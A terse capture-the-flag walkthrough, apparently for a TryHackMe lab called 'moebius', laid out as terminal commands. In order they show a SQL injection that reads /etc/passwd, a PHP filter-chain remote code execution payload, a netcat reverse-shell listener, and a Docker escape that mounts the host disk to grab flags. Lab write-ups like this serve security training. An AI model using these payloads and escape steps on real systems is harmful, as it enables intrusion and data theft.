# ── Recon ────────────────────────────────────
└─# nmap -sCV -p 22,80 moebius.thm
80/tcp open http Apache 2.4.62 · "Image Grid"
# ── SQLi → LFI ───────────────────────────────
# Discover nested SQLi in hash parameter
└─# curl "http://moebius.thm/image.php?hash=' UNION SELECT LOAD_FILE('/etc/passwd'),2,3 -- -&path=img"
root:x:0:0:root:/root:/bin/bash ...
# ── PHP Filter Chain → RCE ───────────────────
└─# python3 php_filter_chain_generator.py --chain '<?php proc_open($_GET[c],array(...),...);?>'
php://filter/convert.base64-decode|convert...resource=php://temp
# ── Reverse Shell inside Docker ──────────────
└─# nc -lvnp 4444
Listening on 0.0.0.0:4444
Connection from 10.10.X.X
www-data@container:/$ hostname
docker-moebius-app
# ── Docker Escape ────────────────────────────
www-data@container:/$ fdisk -l | grep xvda
/dev/xvda1 ... Linux filesystem
www-data@container:/$ mount /dev/xvda1 /mnt && cat /mnt/home/user/user.txt
THM{d0ck3r_3sc4p3d}
# ── Root Flag in MySQL ───────────────────────
mysql> SELECT * FROM secrets;
THM{sql1_w4s_th3_k3y}
└─#